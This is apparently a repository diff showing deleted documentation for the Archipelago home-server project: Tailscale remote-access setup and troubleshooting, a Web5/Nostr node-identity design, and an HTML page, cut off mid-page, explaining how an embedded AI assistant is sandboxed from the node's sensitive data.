### Post-Installation Automation
A systemd service (`archipelago-tailscale.service`) runs after Archipelago starts:
- Waits for `tailscale0` interface to exist
- Runs configuration script
- Ensures Nginx is ready for tailnet connections
## User Experience Flow
### First-Time Setup
1. **User installs Tailscale** from App Store
- Container downloads and starts
- "Launch" button appears in My Apps
2. **User authenticates**
- Clicks "Launch" → opens web UI
- Logs in with Tailscale account
- Approves device in Tailscale admin console
3. **Automatic configuration**
- System detects Tailscale connection
- Nginx reconfigures automatically
- User receives tailnet hostname
4. **Remote access enabled**
- User can now access from anywhere
- All devices on their tailnet can connect
- Uses Tailscale's encrypted mesh network
### Ongoing Usage
- **No maintenance required** - Tailscale auto-starts with system
- **Automatic reconnection** - Container restart policy handles disconnects
- **Persistent state** - Authentication survives reboots
- **Web UI always available** - Manage Tailscale at port 8240
## Security Considerations
### Why Privileged Mode?
Tailscale requires privileged mode because it:
- Creates a TUN device for VPN traffic
- Modifies iptables rules for routing
- Manages network interfaces on the host
### Network Isolation
- Tailscale runs in host network mode (no container network isolation)
- Only users on the same tailnet can access the Archipelago UI
- Tailscale provides authentication and encryption
### Data Persistence
- Tailscale state is stored in `/var/lib/archipelago/tailscale/`
- Contains device identity and credentials
- Persists across container recreations
- Automatically backed up with system
## Troubleshooting
### Tailscale UI Not Loading
If the web UI doesn't load:
```bash
# Check container status
sudo podman ps --filter name=tailscale
# Check logs
sudo podman logs tailscale
# Verify interface
ip addr show tailscale0
# Check Nginx configuration
sudo nginx -t
sudo systemctl status nginx
```
### Remote Access Not Working
If Tailscale hostname doesn't resolve:
```bash
# Check Tailscale status
sudo podman exec tailscale tailscale status
# Verify Nginx is listening on Tailscale IP
sudo netstat -tlnp | grep :80
# Re-run configuration script
sudo /opt/archipelago/scripts/configure-tailscale-nginx.sh
```
### Container Won't Start
If container fails to start:
```bash
# Check for permission issues
sudo dmesg | grep -i deny
# Verify TUN device exists
ls -l /dev/net/tun
# Check SELinux/AppArmor
sudo ausearch -m avc -ts recent # SELinux
sudo dmesg | grep -i apparmor # AppArmor
```
## Future Enhancements
- **Automatic hostname detection** - Display tailnet URL in UI
- **MagicDNS support** - Use short hostnames (just `archipelago`)
- **Subnet routing** - Route to other networks via Archipelago
- **Exit node mode** - Use Archipelago as internet gateway
- **ACL integration** - Fine-grained access control via Tailscale ACLs

View File

@@ -1,214 +0,0 @@
# How to Set Up Remote Access with Tailscale
Tailscale provides secure remote access to your Archipelago server from anywhere in the world using a zero-config VPN.
## Installation
1. **Install Tailscale from App Store**
- Navigate to "App Store" in your Archipelago UI
- Find "Tailscale" in the available apps
- Click "Install"
- Wait for installation to complete (container download)
2. **Access Setup Interface**
- Go to "My Apps"
- Find "Tailscale" in your installed apps
- Click the **"Launch"** button
- This opens the Tailscale web interface at `http://<your-ip>:8240`
## First-Time Setup
### Step 1: Sign In to Tailscale
When you click "Launch", you'll see the Tailscale web interface:
1. Click **"Sign in"** or **"Get Started"**
2. You'll be prompted to authenticate with:
- **Google** account
- **Microsoft** account
- **GitHub** account
- Or create a new Tailscale account
3. Follow the authentication flow in your browser
### Step 2: Authorize the Device
After signing in:
1. Your Archipelago server will appear as a new device
2. The device will be named something like `archipelago` or based on your hostname
3. You may need to approve the device in your Tailscale admin console
### Step 3: Access Remotely
Once connected, you can access your Archipelago UI from anywhere:
**Via Tailscale Hostname:**
```
http://archipelago.tail<xxxxxx>.ts.net/
```
**Via Tailscale IP:**
```
http://100.x.x.x/
```
Your exact hostname and IP will be shown in the Tailscale web interface.
## Using Tailscale
### From Other Devices
To access your Archipelago from another device:
1. **Install Tailscale** on that device (phone, laptop, etc.)
- iOS: Download from App Store
- Android: Download from Play Store
- Mac/Windows/Linux: Download from tailscale.com
2. **Sign in** with the same account you used for your Archipelago
3. **Connect** - Your devices are now on the same private network
4. **Access** your Archipelago using the tailnet hostname or IP
### Sharing Access
You can share your Archipelago with trusted users:
1. Open Tailscale admin console at https://login.tailscale.com/admin/machines
2. Click on your Archipelago device
3. Click **"Share"**
4. Enter the email addresses of people you want to share with
5. They'll receive an invitation to join your tailnet
## Managing Tailscale
### View Status
Click **"Launch"** on the Tailscale app in "My Apps" to:
- See your tailnet hostname and IP
- View connected devices
- Check connection status
- Manage device settings
### Stop/Start Tailscale
- **Stop**: Click the "Stop" button in "My Apps" - This disconnects your server from the tailnet
- **Start**: Click the "Start" button to reconnect
### Disable Remote Access
If you want to temporarily disable remote access:
1. Go to "My Apps"
2. Click "Stop" on Tailscale
3. Remote access is now disabled (local network access still works)
### Uninstall Tailscale
To completely remove Tailscale:
1. Go to "My Apps"
2. Click the "⋮" menu on Tailscale
3. Select "Remove"
4. Confirm removal
**Note**: Your Tailscale account and device registration remain intact if you want to reinstall later.
## Security & Privacy
### What Tailscale Can See
Tailscale operates on a zero-trust model:
-**End-to-end encrypted** - All traffic is encrypted between your devices
-**Peer-to-peer** - Direct connections when possible (no relay server)
-**No data access** - Tailscale cannot see your traffic or data
-**Open source** - Client and protocol are open source
### Best Practices
1. **Use Strong Authentication**
- Enable 2FA on your Tailscale account
- Use a strong password for your Archipelago login
2. **Review Connected Devices**
- Regularly check which devices are on your tailnet
- Remove devices you no longer use
3. **Share Carefully**
- Only share access with trusted users
- Use time-limited sharing when possible
4. **Keep Updated**
- Tailscale auto-updates in the container
- Archipelago notifies you of available updates
## Troubleshooting
### "Launch" Button Missing
If you don't see a Launch button:
1. **Check container status** - Ensure Tailscale is running in "My Apps"
2. **Wait a moment** - Backend detects the port automatically after a few seconds
3. **Refresh the page** - Force a UI update
### Can't Access Web Interface
If `http://<your-ip>:8240` doesn't load:
1. **Verify container is running**: Check "My Apps" shows Tailscale as "Running"
2. **Check firewall**: Ensure port 8240 isn't blocked on your local network
3. **Try localhost**: If on the same machine, try `http://localhost:8240`
### Remote Access Not Working
If you can't access via the Tailscale hostname:
1. **Verify authentication**: Make sure you completed the sign-in flow
2. **Check other devices**: Ensure your other device is also signed into Tailscale
3. **Wait for DNS**: MagicDNS can take a minute to propagate
4. **Use IP instead**: Try accessing via the Tailscale IP (100.x.x.x)
### Device Not Appearing in Tailscale
If your Archipelago doesn't show up in your tailnet:
1. **Complete setup**: Make sure you clicked "Launch" and signed in
2. **Check logs**: In "My Apps", click on Tailscale and view logs
3. **Restart**: Try stopping and starting the Tailscale app
4. **Reinstall**: If all else fails, remove and reinstall Tailscale
## Advanced Features
### MagicDNS
Tailscale provides automatic DNS resolution:
- Access by hostname: `http://archipelago/` (shorter URL)
- No need to remember IPs
- Enabled by default
### Subnet Routes
Make your home network accessible via Tailscale:
1. Open Tailscale web interface
2. Go to Settings → Subnet routes
3. Add your local subnet (e.g., `192.168.1.0/24`)
4. Approve in Tailscale admin console
### Exit Node
Use your Archipelago as an internet gateway:
1. Enable exit node in Tailscale settings
2. Connect from another device
3. Route all internet traffic through your Archipelago
## More Information
- **Tailscale Documentation**: https://tailscale.com/kb/
- **Tailscale Status Page**: https://status.tailscale.com/
- **Community Support**: https://forum.tailscale.com/
- **Archipelago Docs**: See `/docs/TAILSCALE-INTEGRATION.md` for technical details

View File

@@ -1,68 +0,0 @@
# Web5 & Nostr Node Identity
## Overview
Archipelago establishes node identity using **did:key** (W3C) from the persistent Ed25519 key. This enables Web5/DID interoperability and provides an extensible foundation for Nostr discovery.
## DID/Web5 Integration
### Current Implementation
- **Node identity**: Persistent Ed25519 key in `/var/lib/archipelago/identity/`
- **DID format**: `did:key:z<base58btc(multicodec_ed25519_pub + 32-byte pubkey)>`
- **RPC**: `node.did` returns `{ did, pubkey }` for the node
- **Onboarding**: DID generation is wired to the backend during onboarding; the node's DID is established at first boot
### TBD Web5 Protocols
The node identity is compatible with TBD Web5:
- **did:key** is supported by `@web5/dids` and `@tbd54566975/web5`
- **DWN integration**: Future apps (web5-dwn, did-wallet) can resolve our DID for data exchange
- **Node address**: `archipelago://<onion>#<pubkey>` format for peer discovery
### Extensibility
1. **DID Document**: Could add a DID document endpoint for full Web5 resolution
2. **DWN protocols**: Define custom protocols for node-to-node sync (e.g. peer list, backup)
3. **did:dht**: Migrate to did:dht for DHT-based resolution if needed
## Nostr Integration
### Recommended Approach
**NIP-33 Replaceable Events** (kind 30078) for Archipelago node discovery:
```
{
"kind": 30078,
"pubkey": "<nostr_secp256k1_pubkey>",
"content": JSON.stringify({
"did": "did:key:z6Mk...",
"node_address": "archipelago://xxx.onion#pubkey",
"version": "0.1.0"
}),
"tags": [["d", "archipelago-node"]]
}
```
### Implementation Plan
1. **Nostr keypair**: Generate and persist secp256k1 key in `/var/lib/archipelago/identity/nostr_key` (Nostr uses secp256k1, not Ed25519)
2. **Publish on startup**: After identity load, publish replaceable event to default relays (e.g. wss://relay.damus.io, wss://relay.nostr.info)
3. **Discovery**: Other nodes query relays for `{"kinds": [30078], "#d": ["archipelago-node"]}` to find peers
4. **RPC**: `node.nostr-publish` to manually re-publish; `node.nostr-pubkey` to get our Nostr pubkey for following
### Why Separate Keys?
- **Ed25519** (did:key): Web5, DWN, VC signing
- **secp256k1** (Nostr): Nostr protocol requirement; bridges to Nostr ecosystem
The DID remains the canonical identity; Nostr pubkey is a discovery/signaling channel.
## Onboarding Flow
1. **Intro****Path****DID** (fetches `node.did` from backend) → **Backup****Verify****Login**
2. Onboarding completion is persisted to backend (`auth.onboardingComplete``onboarding.json`)
3. Returning users skip onboarding and go directly to login
4. State is server-side; no reliance on browser localStorage for completion status

View File

@@ -1,758 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Archipelago AI Quarantine Architecture</title>
<style>
:root {
--bg: #0d1117;
--surface: #161b22;
--surface-2: #1c2333;
--border: #30363d;
--text: #e6edf3;
--text-muted: #8b949e;
--accent: #fb923c;
--green: #4ade80;
--red: #ef4444;
--blue: #58a6ff;
--purple: #bc8cff;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif;
background: var(--bg);
color: var(--text);
line-height: 1.7;
padding: 2rem;
max-width: 1100px;
margin: 0 auto;
}
h1 {
font-size: 2.2rem;
margin-bottom: 0.5rem;
background: linear-gradient(135deg, var(--accent), #f59e0b);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}
.subtitle {
color: var(--text-muted);
font-size: 1.1rem;
margin-bottom: 2.5rem;
border-bottom: 1px solid var(--border);
padding-bottom: 1.5rem;
}
h2 {
font-size: 1.5rem;
margin: 2.5rem 0 1rem;
color: var(--accent);
display: flex;
align-items: center;
gap: 0.5rem;
}
h2 .num {
background: var(--accent);
color: var(--bg);
width: 32px;
height: 32px;
border-radius: 50%;
display: inline-flex;
align-items: center;
justify-content: center;
font-size: 0.9rem;
font-weight: 700;
flex-shrink: 0;
}
h3 {
font-size: 1.15rem;
margin: 1.5rem 0 0.5rem;
color: var(--blue);
}
p { margin-bottom: 1rem; color: var(--text); }
.card {
background: var(--surface);
border: 1px solid var(--border);
border-radius: 12px;
padding: 1.5rem;
margin: 1rem 0;
}
.card-green { border-left: 4px solid var(--green); }
.card-red { border-left: 4px solid var(--red); }
.card-blue { border-left: 4px solid var(--blue); }
.card-orange { border-left: 4px solid var(--accent); }
.card-purple { border-left: 4px solid var(--purple); }
.card h4 {
font-size: 1rem;
margin-bottom: 0.5rem;
}
code {
background: var(--surface-2);
padding: 0.15rem 0.45rem;
border-radius: 4px;
font-family: 'SF Mono', 'Fira Code', monospace;
font-size: 0.88rem;
color: var(--accent);
}
pre {
background: var(--surface-2);
border: 1px solid var(--border);
border-radius: 8px;
padding: 1rem 1.25rem;
overflow-x: auto;
margin: 1rem 0;
font-family: 'SF Mono', 'Fira Code', monospace;
font-size: 0.85rem;
line-height: 1.6;
color: var(--text);
}
pre code { background: none; padding: 0; color: inherit; }
.label {
display: inline-block;
padding: 0.2rem 0.6rem;
border-radius: 999px;
font-size: 0.75rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.label-green { background: rgba(74, 222, 128, 0.15); color: var(--green); }
.label-red { background: rgba(239, 68, 68, 0.15); color: var(--red); }
.label-blue { background: rgba(88, 166, 255, 0.15); color: var(--blue); }
.label-orange { background: rgba(251, 146, 60, 0.15); color: var(--accent); }
ul { margin: 0.5rem 0 1rem 1.5rem; }
li { margin-bottom: 0.4rem; }
li code { font-size: 0.82rem; }
.diagram {
background: var(--surface-2);
border: 1px solid var(--border);
border-radius: 12px;
padding: 1.5rem;
margin: 1.5rem 0;
font-family: 'SF Mono', 'Fira Code', monospace;
font-size: 0.82rem;
line-height: 1.8;
white-space: pre;
overflow-x: auto;
color: var(--text-muted);
}
.diagram .highlight { color: var(--accent); font-weight: 600; }
.diagram .green { color: var(--green); }
.diagram .red { color: var(--red); }
.diagram .blue { color: var(--blue); }
table {
width: 100%;
border-collapse: collapse;
margin: 1rem 0;
font-size: 0.9rem;
}
th {
background: var(--surface-2);
text-align: left;
padding: 0.75rem 1rem;
border-bottom: 2px solid var(--border);
color: var(--accent);
font-weight: 600;
}
td {
padding: 0.6rem 1rem;
border-bottom: 1px solid var(--border);
vertical-align: top;
}
tr:hover td { background: rgba(251, 146, 60, 0.03); }
.flow-arrow {
display: flex;
align-items: center;
gap: 0.75rem;
margin: 1rem 0;
flex-wrap: wrap;
}
.flow-box {
background: var(--surface-2);
border: 1px solid var(--border);
border-radius: 8px;
padding: 0.5rem 1rem;
font-size: 0.85rem;
font-weight: 500;
}
.flow-box.secure {
border-color: var(--green);
color: var(--green);
}
.flow-box.blocked {
border-color: var(--red);
color: var(--red);
}
.arrow { color: var(--text-muted); font-size: 1.2rem; }
.toc {
background: var(--surface);
border: 1px solid var(--border);
border-radius: 12px;
padding: 1.5rem;
margin: 1.5rem 0;
}
.toc h3 { margin-top: 0; color: var(--text); }
.toc ol { margin-left: 1.5rem; }
.toc li { margin-bottom: 0.3rem; }
.toc a { color: var(--blue); text-decoration: none; }
.toc a:hover { text-decoration: underline; }
.files-ref {
font-size: 0.85rem;
color: var(--text-muted);
margin-top: 0.5rem;
}
.files-ref code {
color: var(--text-muted);
font-size: 0.8rem;
}
.summary-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
gap: 1rem;
margin: 1.5rem 0;
}
@media (max-width: 600px) {
body { padding: 1rem; }
h1 { font-size: 1.6rem; }
pre { font-size: 0.78rem; padding: 0.75rem; }
.diagram { font-size: 0.7rem; padding: 1rem; }
}
</style>
</head>
<body>
<h1>Archipelago AI Quarantine Architecture</h1>
<p class="subtitle">How AIUI (Claude) is sandboxed from your node's sensitive data &mdash; a defense-in-depth approach across 6 layers</p>
<div class="toc">
<h3>Contents</h3>
<ol>
<li><a href="#overview">Architecture Overview &amp; Diagram</a></li>
<li><a href="#layer1">Layer 1: Container Isolation (Podman)</a></li>
<li><a href="#layer2">Layer 2: Iframe Sandbox (Browser)</a></li>
<li><a href="#layer3">Layer 3: postMessage Gate (Context Broker)</a></li>
<li><a href="#layer4">Layer 4: Per-Category Permissions (User Toggles)</a></li>
<li><a href="#layer5">Layer 5: Data Sanitization (Field Stripping)</a></li>
<li><a href="#layer6">Layer 6: Proxy &amp; Nginx Authentication</a></li>
<li><a href="#protocol">The postMessage Protocol</a></li>
<li><a href="#context">What the AI System Prompt Sees</a></li>
<li><a href="#never">What the AI Can NEVER See</a></li>
<li><a href="#actions">Permitted Actions (Limited)</a></li>
<li><a href="#bugs">Current Bugs &amp; Issues</a></li>
<li><a href="#files">Source File Reference</a></li>
</ol>
</div>
<!-- ───────────────── OVERVIEW ───────────────── -->
<h2 id="overview"><span class="num">0</span> Architecture Overview</h2>
<p>The AI is treated as <strong>untrusted code in a hostile environment</strong>. It runs inside an iframe with sandbox restrictions, inside a Podman container with no outbound network. All data it receives passes through a <strong>Context Broker</strong> that checks user permissions and strips sensitive fields before anything reaches Claude's API.</p>
<div class="diagram"><span class="highlight">User's Browser</span>
┌─────────────────────────────────────────────────────┐
<span class="blue">Archy (neode-ui)</span> — Vue.js Host Application │
│ │
│ ┌───────────────────────────────────────────────┐ │
│ │ <span class="green">Context Broker</span> │ │
│ │ - Checks aiPermissions store │ │
│ │ - Validates postMessage origin │ │
│ │ - Fetches data from Pinia stores / RPC │ │
│ │ - <span class="red">Strips sensitive fields</span> (sanitize*) │ │
│ │ - Returns only permitted, sanitized data │ │
│ └──────────────┬────────────────────────────────┘ │
│ │ postMessage (origin-validated) │
│ ┌──────────────▼────────────────────────────────┐ │
│ │ <span class="highlight">AIUI iframe</span> │ │
│ │ sandbox="allow-scripts allow-same-origin │ │
│ │ allow-forms" │ │
│ │ │ │
│ │ <span class="green">archyBridge</span> ──postMessage──▶ Context Broker │ │
│ │ <span class="red">✗ Cannot</span> call /rpc/ directly │ │
│ │ <span class="red">✗ Cannot</span> access host DOM │ │
│ │ <span class="red">✗ Cannot</span> open popups │ │
│ └───────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────┘
│ HTTPS (session cookie required)
┌──────────────────────────────────┐
<span class="blue">Nginx</span> (/aiui/api/claude/) │ ◀── cookie check gate
│ proxy_pass → 127.0.0.1:3141 │
└──────────────┬───────────────────┘
┌──────────────────────────────────┐
<span class="highlight">Claude Proxy</span> (port 3141) │
│ OAuth token from macOS keychain │
│ → Anthropic API │
└──────────────────────────────────┘
<span class="red">BLOCKED paths</span> (AI cannot reach):
✗ /rpc/ (backend API) ✗ Container exec
✗ /ws (WebSocket) ✗ File system
✗ SSH ✗ Outbound network (from container)</div>
<!-- ───────────────── LAYER 1 ───────────────── -->
<h2 id="layer1"><span class="num">1</span> Layer 1: Container Isolation (Podman)</h2>
<div class="card card-green">
<h4>AIUI runs in a locked-down Podman container</h4>
<p>Even if the AIUI web app were compromised, the container itself has no way to reach the rest of the system.</p>
</div>
<pre><code># apps/aiui/manifest.yml
security:
capabilities: [] # No Linux capabilities at all
readonly_root: true # Read-only filesystem
no_new_privileges: true # Cannot escalate privileges
network_policy: isolated # NO outbound network access
ports:
- host: 5180
container: 80
bind: 127.0.0.1 # Only reachable via nginx, not externally</code></pre>
<p><strong>What this means:</strong></p>
<ul>
<li>The AIUI container <strong>cannot make HTTP requests to the internet</strong> or to other containers</li>
<li>It serves static files only &mdash; the actual Claude API calls happen in the <em>browser</em>, not the container</li>
<li>Even with root access in the container, you can't escalate or modify the filesystem</li>
<li>The container port (5180) is bound to <code>127.0.0.1</code>, so only nginx (on the same machine) can reach it</li>
</ul>
<!-- ───────────────── LAYER 2 ───────────────── -->
<h2 id="layer2"><span class="num">2</span> Layer 2: Iframe Sandbox (Browser)</h2>
<div class="card card-blue">
<h4>AIUI loads inside a sandboxed iframe</h4>
<p>The browser enforces strict boundaries between the host Archy app and the AIUI iframe.</p>
</div>
<pre><code>&lt;!-- neode-ui/src/views/Chat.vue --&gt;
&lt;iframe
:src="aiuiUrl"
sandbox="allow-scripts allow-same-origin allow-forms"
allow="microphone"
/&gt;</code></pre>
<p><strong>The sandbox attribute restricts AIUI from:</strong></p>
<ul>
<li><strong>Navigating the parent page</strong> &mdash; cannot redirect Archy</li>
<li><strong>Opening popups/new windows</strong> &mdash; <code>allow-popups</code> is NOT granted</li>
<li><strong>Accessing parent DOM</strong> &mdash; cross-origin isolation is enforced</li>
<li><strong>Submitting forms to external URLs</strong> &mdash; forms are scoped to same origin</li>
<li><strong>Running plugins</strong> &mdash; no plugin execution</li>
</ul>
<p>The only communication channel is <code>window.postMessage()</code>, which is intercepted by the Context Broker.</p>
<!-- ───────────────── LAYER 3 ───────────────── -->
<h2 id="layer3"><span class="num">3</span> Layer 3: The Context Broker (postMessage Gate)</h2>
<div class="card card-orange">
<h4>Every data request goes through a single gatekeeper</h4>
<p>The <code>ContextBroker</code> class validates origin, checks permissions, fetches data, strips sensitive fields, then responds. AIUI never directly calls any backend API.</p>
</div>
<h3>How it works</h3>
<div class="flow-arrow">
<div class="flow-box">AIUI sends<br><code>context:request</code></div>
<span class="arrow">&rarr;</span>
<div class="flow-box secure">Origin validated<br><code>event.origin === allowedOrigin</code></div>
<span class="arrow">&rarr;</span>
<div class="flow-box secure">Permission checked<br><code>perms.isEnabled(category)</code></div>
<span class="arrow">&rarr;</span>
<div class="flow-box secure">Data fetched &amp;<br>sanitized</div>
<span class="arrow">&rarr;</span>
<div class="flow-box">Response sent<br>to iframe</div>
</div>
<pre><code>// contextBroker.ts — the critical permission check
private async handleContextRequest(id, category, query?) {
const perms = useAIPermissionsStore()
if (!perms.isEnabled(category)) {
// DENIED — send empty response, no data
this.postToIframe({
type: 'context:response', id,
data: null,
permitted: false, // ← AIUI knows it was denied
})
return
}
// ALLOWED — fetch and sanitize before sending
const data = await this.fetchAndSanitize(category, query)
this.postToIframe({
type: 'context:response', id,
data, // ← sanitized data only
permitted: true,
})
}</code></pre>
<h3>Origin Validation (both sides)</h3>
<ul>
<li><strong>Context Broker</strong> (host): Rejects any message where <code>event.origin !== this.allowedOrigin</code></li>
<li><strong>archyBridge</strong> (AIUI): Rejects any message where <code>event.origin !== allowedOrigin</code></li>
<li><strong>Responses</strong> use explicit target origin: <code>iframe.contentWindow.postMessage(msg, this.allowedOrigin)</code></li>
</ul>
<!-- ───────────────── LAYER 4 ───────────────── -->
<h2 id="layer4"><span class="num">4</span> Layer 4: Per-Category Permission Toggles</h2>
<div class="card card-purple">
<h4>All categories are OFF by default</h4>
<p>The user must explicitly enable each data category in Settings &rarr; AI Data Access. The AI sees nothing until you flip the switch.</p>
</div>
<table>
<thead>
<tr>
<th>Category</th>
<th>What AI Sees</th>
<th>What's Stripped</th>
<th>Default</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>apps</code><br><span class="label label-blue">Installed Apps</span></td>
<td>App names, versions, running state, URLs</td>
<td>Config files, env vars, credentials</td>
<td><span class="label label-red">OFF</span></td>
</tr>
<tr>
<td><code>system</code><br><span class="label label-blue">System Stats</span></td>
<td>CPU %, RAM used/total, disk used/total, uptime</td>
<td>File paths, IP addresses, hostnames, PIDs</td>
<td><span class="label label-red">OFF</span></td>
</tr>
<tr>
<td><code>network</code><br><span class="label label-blue">Network Status</span></td>
<td>Connected (bool), Tor active (bool), Tailscale active (bool)</td>
<td>IP addresses, Tor .onion addresses, peer IPs, MAC addresses</td>
<td><span class="label label-red">OFF</span></td>
</tr>
<tr>
<td><code>bitcoin</code><br><span class="label label-orange">Bitcoin Node</span></td>
<td>Block height, sync %, chain, difficulty, mempool size/count</td>
<td>Wallet keys, addresses, transaction history, RPC credentials</td>
<td><span class="label label-red">OFF</span></td>
</tr>
<tr>
<td><code>wallet</code><br><span class="label label-orange">Wallet Overview</span></td>
<td>Alias, channel count, peer count, balance (sats), sync status</td>
<td><strong>Private keys, seed phrases, macaroons, channel secrets, addresses</strong></td>
<td><span class="label label-red">OFF</span></td>
</tr>
<tr>
<td><code>media</code><br><span class="label label-blue">Media Libraries</span></td>
<td>Which media apps are installed (Plex, Jellyfin, etc.) + status</td>
<td>Library contents, file paths, metadata</td>
<td><span class="label label-red">OFF</span></td>
</tr>
<tr>
<td><code>files</code><br><span class="label label-blue">File Names</span></td>
<td>Folder names, recent file names, sizes, dates from Cloud</td>
<td>File contents (unless read-file action is used with permission)</td>
<td><span class="label label-red">OFF</span></td>
</tr>
<tr>
<td><code>notes</code><br><span class="label label-blue">Documents</span></td>
<td>Document titles (currently returns "not available")</td>
<td>Document contents</td>
<td><span class="label label-red">OFF</span></td>
</tr>
<tr>
<td><code>search</code><br><span class="label label-green">Web Search</span></td>
<td>Whether SearXNG is installed + available</td>
<td>N/A</td>
<td><span class="label label-red">OFF</span></td>
</tr>
<tr>
<td><code>ai-local</code><br><span class="label label-green">Local AI</span></td>
<td>Whether Ollama is installed + running</td>
<td>Model details</td>
<td><span class="label label-red">OFF</span></td>
</tr>
</tbody>
</table>
<p class="files-ref">Permissions stored in <code>localStorage</code> key: <code>archipelago-ai-permissions</code></p>
<p class="files-ref">Store: <code>neode-ui/src/stores/aiPermissions.ts</code></p>
<!-- ───────────────── LAYER 5 ───────────────── -->
<h2 id="layer5"><span class="num">5</span> Layer 5: Data Sanitization</h2>
<div class="card card-green">
<h4>Each category has a dedicated sanitize function that extracts only whitelisted fields</h4>
<p>The broker doesn't pass raw data through &mdash; it constructs new objects with only safe properties.</p>
</div>
<h3>Example: Bitcoin sanitization</h3>
<pre><code>// contextBroker.ts — sanitizeBitcoin()
// ONLY these fields are extracted and sent to AI:
return {
available: true,
status: 'running',
block_height: info.block_height,
sync_progress: info.sync_progress,
chain: info.chain,
difficulty: info.difficulty,
mempool_size: info.mempool_size,
mempool_tx_count: info.mempool_tx_count,
verification_progress: info.verification_progress,
}
// NOT included: wallet data, addresses, keys, RPC auth, raw responses</code></pre>
<h3>Example: Wallet sanitization</h3>
<pre><code>// contextBroker.ts — sanitizeWallet()
// ONLY these safe summary fields:
return {
available: true,
status: 'running',
alias: info.alias,
num_active_channels: info.num_active_channels,
num_peers: info.num_peers,
synced_to_chain: info.synced_to_chain,
block_height: info.block_height,
balance_sats: info.balance_sats,
channel_balance_sats: info.channel_balance_sats,
pending_open_balance: info.pending_open_balance,
}
// NEVER included: private keys, seed phrases, macaroons,
// channel points, backup data, node pubkeys</code></pre>
<h3>Example: Network sanitization</h3>
<pre><code>// contextBroker.ts — sanitizeNetwork()
// Only booleans — no addresses:
return {
connected: store.isConnected, // true/false
torConnected: hasTor, // true/false
tailscaleActive: tailscale?.state === 'running', // true/false
}
// NEVER: IP addresses, .onion addresses, peer info, MAC addresses</code></pre>
<!-- ───────────────── LAYER 6 ───────────────── -->
<h2 id="layer6"><span class="num">6</span> Layer 6: Proxy &amp; Nginx Authentication</h2>
<div class="card card-blue">
<h4>Claude API requests require a valid Archy session</h4>
<p>Nginx rejects unauthenticated API calls. The Claude Proxy on port 3141 manages OAuth tokens securely.</p>
</div>
<pre><code># nginx-archipelago.conf
location /aiui/api/claude/ {
if ($cookie_session = "") {
return 401 '{"error":"Unauthorized"}'; # No session = blocked
}
proxy_pass http://127.0.0.1:3141/; # → Claude Proxy
}</code></pre>
<p><strong>The Claude Proxy (port 3141):</strong></p>
<ul>
<li>OAuth token stored securely (macOS keychain &rarr; <code>.env.local</code>)</li>
<li>Auto-refreshes tokens 5 minutes before expiry</li>
<li>Never exposes the token to the browser &mdash; the proxy adds auth headers server-side</li>
<li>Only the browser's fetch to <code>/aiui/api/claude/</code> goes through this proxy</li>
</ul>
<p><strong>Content Security Policy (CSP):</strong></p>
<pre><code>Content-Security-Policy: default-src 'self';
connect-src 'self' ws: wss:;
frame-src 'self' http://127.0.0.1:* http://localhost:*;</code></pre>
<p>The CSP restricts the AIUI iframe to only connect to the same origin and local addresses. No external fetch calls are possible.</p>
<!-- ───────────────── PROTOCOL ───────────────── -->
<h2 id="protocol"><span class="num">7</span> The postMessage Protocol</h2>
<p>AIUI and Archy communicate via a strictly-typed protocol defined in <code>neode-ui/src/types/aiui-protocol.ts</code>.</p>
<h3>AIUI &rarr; Archy (Requests)</h3>
<table>
<thead><tr><th>Message Type</th><th>Purpose</th><th>Fields</th></tr></thead>
<tbody>
<tr><td><code>ready</code></td><td>Signals iframe is loaded</td><td>None</td></tr>
<tr><td><code>context:request</code></td><td>Request node data</td><td><code>id</code>, <code>category</code>, <code>query?</code></td></tr>
<tr><td><code>action:request</code></td><td>Request an action</td><td><code>id</code>, <code>action</code>, <code>params</code></td></tr>
<tr><td><code>theme:request</code></td><td>Request UI theme</td><td>None</td></tr>
</tbody>
</table>
<h3>Archy &rarr; AIUI (Responses)</h3>
<table>
<thead><tr><th>Message Type</th><th>Purpose</th><th>Fields</th></tr></thead>
<tbody>
<tr><td><code>context:response</code></td><td>Sanitized data or denial</td><td><code>id</code>, <code>data</code>, <code>permitted</code> (bool)</td></tr>
<tr><td><code>action:response</code></td><td>Action result</td><td><code>id</code>, <code>success</code>, <code>error?</code>, <code>data?</code></td></tr>
<tr><td><code>permissions:update</code></td><td>Push new permissions</td><td><code>categories[]</code></td></tr>
<tr><td><code>theme:response</code></td><td>Theme colors</td><td><code>theme { accent, mode }</code></td></tr>
</tbody>
</table>
<!-- ───────────────── CONTEXT ───────────────── -->
<h2 id="context"><span class="num">8</span> What the AI System Prompt Sees</h2>
<p>The <code>buildArchyContext()</code> function in AIUI constructs a context string that gets appended to Claude's system prompt. It only includes data for <strong>permitted categories</strong>:</p>
<pre><code>// Example output when apps + bitcoin + wallet are enabled:
**Archy Node Context** (this user is running AIUI on their Archipelago node):
**Installed apps on this node:**
- Bitcoin Knots (installed, running)
- LND (installed, running)
- Mempool (installed, running)
- File Browser (installed, running)
**Bitcoin:** Block 890,123, 99.99% synced, mainnet, mempool: 42,815 txs
**Lightning (LND):** MyNode | 5 channels | 3 peers | On-chain: 150,000 sats
You can help the user manage their node. Available actions: open an app
(open-app), install an app (install-app), navigate in Archy (navigate).</code></pre>
<div class="card card-red">
<h4>What's NOT in the system prompt &mdash; ever</h4>
<ul>
<li>Private keys, seed phrases, HD derivation paths</li>
<li>Macaroons, auth tokens, API keys</li>
<li>IP addresses (.onion, LAN, WAN, Tailscale)</li>
<li>File contents, log contents</li>
<li>SSH credentials, RPC passwords</li>
<li>Transaction history, UTXO set, address lists</li>
<li>Container configs, environment variables</li>
</ul>
</div>
<!-- ───────────────── NEVER ───────────────── -->
<h2 id="never"><span class="num">9</span> What the AI Can NEVER See</h2>
<div class="summary-grid">
<div class="card card-red">
<h4>Cryptographic Material</h4>
<ul>
<li>Private keys (BTC, LN)</li>
<li>Seed phrases / BIP39 mnemonics</li>
<li>LND macaroons</li>
<li>Channel backup data</li>
<li>HD derivation paths</li>
</ul>
</div>
<div class="card card-red">
<h4>Network Identity</h4>
